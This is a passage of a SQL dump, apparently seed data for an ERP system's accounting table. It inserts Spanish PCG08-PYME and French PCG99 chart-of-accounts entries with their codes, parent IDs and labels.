comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4758,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7955',4751,'Exceso de provisión para actuaciones medioambienteales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4759,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','796',4741,'Revisión del deterioro de participaciones y valores representativos de deuda a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4760,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7960',4759,'Revisión del deterioro de participaciones en instrumentos de patrimonio neto a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4761,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7961',4759,'Revisión del deterioro de participaciones en instrumentos de patrimonio neto a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4762,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7962',4759,'Revisión del deterioro de participaciones en instrumentos de patrimonio neto a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4763,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7963',4759,'Revisión del deterioro de participaciones en instrumentos de patrimonio neto a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4764,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7965',4759,'Revisión del deterioro de valores representativos a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4765,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7966',4759,'Revisión del deterioro de valores representativos a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4766,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7967',4759,'Revisión del deterioro de valores representativos a largo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4767,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7968',4759,'Revisión del deterioro de valores representativos a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4768,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','797',4741,'Revisión del deterioro de créditos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4769,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7970',4768,'Revisión del deterioro de créditos a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4770,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7971',4768,'Revisión del deterioro de créditos a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4771,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7972',4768,'Revisión del deterioro de créditos a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4772,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7973',4768,'Revisión del deterioro de créditos a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4773,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','798',4741,'Revisión del deterioro de participaciones y valores representativos de deuda a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4774,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7980',4773,'Revisión del deterioro de participaciones en instrumentos de patrimonio neto a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4775,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7981',4773,'Revisión del deterioro de participaciones en instrumentos de patrimonio neto a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4776,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7985',4773,'Revisión del deterioro de valores representativos de deuda a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4777,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7986',4773,'Revisión del deterioro de valores representativos de deuda a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4778,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7987',4773,'Revisión del deterioro de valores representativos de deuda a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4779,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7988',4773,'Revisión del deterioro de valores representativos de deuda a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4780,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','799',4741,'Revisión del deterioro de créditos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4781,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7990',4780,'Revisión del deterioro de créditos a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4782,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7991',4780,'Revisión del deterioro de créditos a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4783,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7992',4780,'Revisión del deterioro de créditos a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4784,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7993',4780,'Revisión del deterioro de créditos a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL); +INSERT INTO `llx_accounting_account` VALUES (1,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','101',1401,'Capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(2,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','105',1401,'Ecarts de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(3,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','1061',1401,'Réserve légale',NULL,0,NULL,NULL,1,0,NULL,NULL),(4,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','1063',1401,'Réserves statutaires ou contractuelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(5,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','1064',1401,'Réserves réglementées',NULL,0,NULL,NULL,1,0,NULL,NULL),(6,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','1068',1401,'Autres réserves',NULL,0,NULL,NULL,1,0,NULL,NULL),(7,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','108',1401,'Compte de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(8,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','12',1401,'Résultat de l\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(9,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','145',1401,'Amortissements dérogatoires',NULL,0,NULL,NULL,1,0,NULL,NULL),(10,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','146',1401,'Provision spéciale de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(11,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','147',1401,'Plus-values réinvesties',NULL,0,NULL,NULL,1,0,NULL,NULL),(12,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','148',1401,'Autres provisions réglementées',NULL,0,NULL,NULL,1,0,NULL,NULL),(13,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','15',1401,'Provisions pour risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(14,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','CAPIT','16',1401,'Emprunts et dettes assimilees',NULL,0,NULL,NULL,1,0,NULL,NULL),(15,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','20',1402,'Immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(16,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','201',15,'Frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(17,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','206',15,'Droit au bail',NULL,0,NULL,NULL,1,0,NULL,NULL),(18,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','207',15,'Fonds commercial',NULL,0,NULL,NULL,1,0,NULL,NULL),(19,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','208',15,'Autres immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(20,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','21',1402,'Immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(21,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','23',1402,'Immobilisations en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(22,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','27',1402,'Autres immobilisations financieres',NULL,0,NULL,NULL,1,0,NULL,NULL),(23,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','280',1402,'Amortissements des immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(24,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','281',1402,'Amortissements des immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(25,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','290',1402,'Provisions pour dépréciation des immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(26,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','291',1402,'Provisions pour dépréciation des immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(27,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','IMMO','297',1402,'Provisions pour dépréciation des autres immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(28,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','31',1403,'Matieres premières',NULL,0,NULL,NULL,1,0,NULL,NULL),(29,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','32',1403,'Autres approvisionnements',NULL,0,NULL,NULL,1,0,NULL,NULL),(30,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','33',1403,'En-cours de production de biens',NULL,0,NULL,NULL,1,0,NULL,NULL),(31,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','34',1403,'En-cours de production de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(32,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','35',1403,'Stocks de produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(33,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','37',1403,'Stocks de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(34,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','391',1403,'Provisions pour dépréciation des matières premières',NULL,0,NULL,NULL,1,0,NULL,NULL),(35,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','392',1403,'Provisions pour dépréciation des autres approvisionnements',NULL,0,NULL,NULL,1,0,NULL,NULL),(36,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','393',1403,'Provisions pour dépréciation des en-cours de production de biens',NULL,0,NULL,NULL,1,0,NULL,NULL),(37,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','394',1403,'Provisions pour dépréciation des en-cours de production de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(38,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','395',1403,'Provisions pour dépréciation des stocks de produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(39,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','STOCK','397',1403,'Provisions pour dépréciation des stocks de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(40,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','400',1404,'Fournisseurs et Comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(41,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','409',1404,'Fournisseurs débiteurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(42,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','410',1404,'Clients et Comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(43,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','419',1404,'Clients créditeurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(44,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','421',1404,'Personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(45,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','428',1404,'Personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(46,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','43',1404,'Sécurité sociale et autres organismes sociaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(47,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','444',1404,'Etat - impôts sur bénéfice',NULL,0,NULL,NULL,1,0,NULL,NULL),(48,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','445',1404,'Etat - Taxes sur chiffre affaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(49,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','447',1404,'Autres impôts, taxes et versements assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(50,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','45',1404,'Groupe et associes',NULL,0,NULL,NULL,1,0,NULL,NULL),(51,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','455',50,'Associés',NULL,0,NULL,NULL,1,0,NULL,NULL),(52,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','46',1404,'Débiteurs divers et créditeurs divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(53,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','47',1404,'Comptes transitoires ou d\'attente',NULL,0,NULL,NULL,1,0,NULL,NULL),(54,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','481',1404,'Charges à répartir sur plusieurs exercices',NULL,0,NULL,NULL,1,0,NULL,NULL),(55,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','486',1404,'Charges constatées d\'avance',NULL,0,NULL,NULL,1,0,NULL,NULL),(56,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','487',1404,'Produits constatés d\'avance',NULL,0,NULL,NULL,1,0,NULL,NULL),(57,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','491',1404,'Provisions pour dépréciation des comptes de clients',NULL,0,NULL,NULL,1,0,NULL,NULL),(58,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','TIERS','496',1404,'Provisions pour dépréciation des comptes de débiteurs divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(59,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','FINAN','50',1405,'Valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(60,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','FINAN','51',1405,'Banques, établissements financiers et assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(61,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','FINAN','53',1405,'Caisse',NULL,0,NULL,NULL,1,0,NULL,NULL),(62,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','FINAN','54',1405,'Régies d\'avance et accréditifs',NULL,0,NULL,NULL,1,0,NULL,NULL),(63,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','FINAN','58',1405,'Virements internes',NULL,0,NULL,NULL,1,0,NULL,NULL),(64,1,NULL,'2018-01-22 17:28:15','PCG99-ABREGE','FINAN','590',1405,'Provisions pour dépréciation des valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(65,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','60',1406,'Achats',NULL,0,NULL,NULL,1,0,NULL,NULL),(66,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','603',65,'Variations des stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(67,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','61',1406,'Services extérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(68,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','62',1406,'Autres services extérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(69,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','63',1406,'Impôts, taxes et versements assimiles',NULL,0,NULL,NULL,1,0,NULL,NULL),(70,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','641',1406,'Rémunérations du personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(71,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','644',1406,'Rémunération du travail de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(72,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','645',1406,'Charges de sécurité sociale et de prévoyance',NULL,0,NULL,NULL,1,0,NULL,NULL),(73,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','646',1406,'Cotisations sociales personnelles de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(74,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','65',1406,'Autres charges de gestion courante',NULL,0,NULL,NULL,1,0,NULL,NULL),(75,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','66',1406,'Charges financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(76,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','67',1406,'Charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(77,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','681',1406,'Dotations aux amortissements et aux provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(78,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','686',1406,'Dotations aux amortissements et aux provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(79,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','687',1406,'Dotations aux amortissements et aux provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(80,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','691',1406,'Participation des salariés aux résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(81,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','695',1406,'Impôts sur les bénéfices',NULL,0,NULL,NULL,1,0,NULL,NULL),(82,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','697',1406,'Imposition forfaitaire annuelle des sociétés',NULL,0,NULL,NULL,1,0,NULL,NULL),(83,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','699',1406,'Produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(84,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','701',1407,'Ventes de produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(85,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','706',1407,'Prestations de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(86,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','707',1407,'Ventes de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(87,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','708',1407,'Produits des activités annexes',NULL,0,NULL,NULL,1,0,NULL,NULL),(88,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','709',1407,'Rabais, remises et ristournes accordés par l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(89,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','713',1407,'Variation des stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(90,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','72',1407,'Production immobilisée',NULL,0,NULL,NULL,1,0,NULL,NULL),(91,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','73',1407,'Produits nets partiels sur opérations à long terme',NULL,0,NULL,NULL,1,0,NULL,NULL),(92,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','74',1407,'Subventions d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(93,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','75',1407,'Autres produits de gestion courante',NULL,0,NULL,NULL,1,0,NULL,NULL),(94,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','753',93,'Jetons de présence et rémunérations d\'administrateurs, gérants,...',NULL,0,NULL,NULL,1,0,NULL,NULL),(95,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','754',93,'Ristournes perçues des coopératives',NULL,0,NULL,NULL,1,0,NULL,NULL),(96,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','755',93,'Quotes-parts de résultat sur opérations faites en commun',NULL,0,NULL,NULL,1,0,NULL,NULL),(97,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','76',1407,'Produits financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(98,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','77',1407,'Produits exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(99,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','781',1407,'Reprises sur amortissements et provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(100,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','786',1407,'Reprises sur provisions pour risques',NULL,0,NULL,NULL,1,0,NULL,NULL),(101,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','787',1407,'Reprises sur provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(102,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','79',1407,'Transferts de charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(103,1,NULL,'2022-12-29 18:10:52','PCG99-BASE','CAPIT','10',1501,'Capital et réserves',NULL,2,NULL,NULL,1,0,NULL,NULL),(104,1,NULL,'2022-12-29 18:10:52','PCG99-BASE','CAPIT','101',103,'Capital',NULL,2,NULL,NULL,1,0,NULL,NULL),(105,1,NULL,'2022-12-29 18:10:52','PCG99-BASE','CAPIT','104',103,'Primes liées au capital social',NULL,2,NULL,NULL,1,0,NULL,NULL),(106,1,NULL,'2022-12-22 02:09:00','PCG99-BASE','CAPIT','105',103,'Ecarts de réévaluation',NULL,2,NULL,NULL,1,0,NULL,NULL),(107,1,NULL,'2022-12-29 18:10:52','PCG99-BASE','CAPIT','106',103,'Réserves',NULL,2,NULL,NULL,1,0,NULL,NULL),(108,1,NULL,'2022-12-29 18:10:52','PCG99-BASE','CAPIT','107',103,'Ecart d\'equivalence',NULL,2,NULL,NULL,1,0,NULL,NULL),(109,1,NULL,'2022-12-22 02:09:17','PCG99-BASE','CAPIT','108',103,'Compte de l\'exploitant',NULL,2,NULL,NULL,1,0,NULL,NULL),(110,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','109',103,'Actionnaires : capital souscrit - non appelé',NULL,0,NULL,NULL,1,0,NULL,NULL),(111,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','11',1501,'Report à nouveau (solde créditeur ou débiteur)',NULL,0,NULL,NULL,1,0,NULL,NULL),(112,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','110',111,'Report à nouveau (solde créditeur)',NULL,0,NULL,NULL,1,0,NULL,NULL),(113,1,NULL,'2022-12-29 18:23:34','PCG99-BASE','CAPIT','119',111,'Report à nouveau (solde débiteur)',NULL,0,NULL,NULL,1,0,NULL,NULL),(114,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','12',1501,'Résultat de l\'exercice (bénéfice ou perte)',NULL,0,NULL,NULL,1,0,NULL,NULL),(115,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','120',114,'Résultat de l\'exercice (bénéfice)',NULL,0,NULL,NULL,1,0,NULL,NULL),(116,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','129',114,'Résultat de l\'exercice (perte)',NULL,0,NULL,NULL,1,0,NULL,NULL),(117,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','13',1501,'Subventions d\'investissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(118,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','131',117,'Subventions d\'équipement',NULL,0,NULL,NULL,1,0,NULL,NULL),(119,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','138',117,'Autres subventions d\'investissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(120,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','139',117,'Subventions d\'investissement inscrites au compte de résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(121,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','14',1501,'Provisions réglementées',NULL,0,NULL,NULL,1,0,NULL,NULL),(122,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','142',121,'Provisions réglementées relatives aux immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(123,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','143',121,'Provisions réglementées relatives aux stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(124,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','144',121,'Provisions réglementées relatives aux autres éléments de l\'actif',NULL,0,NULL,NULL,1,0,NULL,NULL),(125,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','145',121,'Amortissements dérogatoires',NULL,0,NULL,NULL,1,0,NULL,NULL),(126,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','146',121,'Provision spéciale de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(127,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','147',121,'Plus-values réinvesties',NULL,0,NULL,NULL,1,0,NULL,NULL),(128,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','148',121,'Autres provisions réglementées',NULL,0,NULL,NULL,1,0,NULL,NULL),(129,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','15',1501,'Provisions pour risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(130,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','151',129,'Provisions pour risques',NULL,0,NULL,NULL,1,0,NULL,NULL),(131,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','153',129,'Provisions pour pensions et obligations similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(132,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','154',129,'Provisions pour restructurations',NULL,0,NULL,NULL,1,0,NULL,NULL),(133,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','155',129,'Provisions pour impôts',NULL,0,NULL,NULL,1,0,NULL,NULL),(134,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','156',129,'Provisions pour renouvellement des immobilisations (entreprises concessionnaires)',NULL,0,NULL,NULL,1,0,NULL,NULL),(135,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','157',129,'Provisions pour charges à répartir sur plusieurs exercices',NULL,0,NULL,NULL,1,0,NULL,NULL),(136,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','158',129,'Autres provisions pour charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(137,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','16',1501,'Emprunts et dettes assimilees',NULL,0,NULL,NULL,1,0,NULL,NULL),(138,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','161',137,'Emprunts obligataires convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(139,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','163',137,'Autres emprunts obligataires',NULL,0,NULL,NULL,1,0,NULL,NULL),(140,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','164',137,'Emprunts auprès des établissements de crédit',NULL,0,NULL,NULL,1,0,NULL,NULL),(141,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','165',137,'Dépôts et cautionnements reçus',NULL,0,NULL,NULL,1,0,NULL,NULL),(142,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','166',137,'Participation des salariés aux résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(143,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','167',137,'Emprunts et dettes assortis de conditions particulières',NULL,0,NULL,NULL,1,0,NULL,NULL),(144,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','168',137,'Autres emprunts et dettes assimilées',NULL,0,NULL,NULL,1,0,NULL,NULL),(145,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','169',137,'Primes 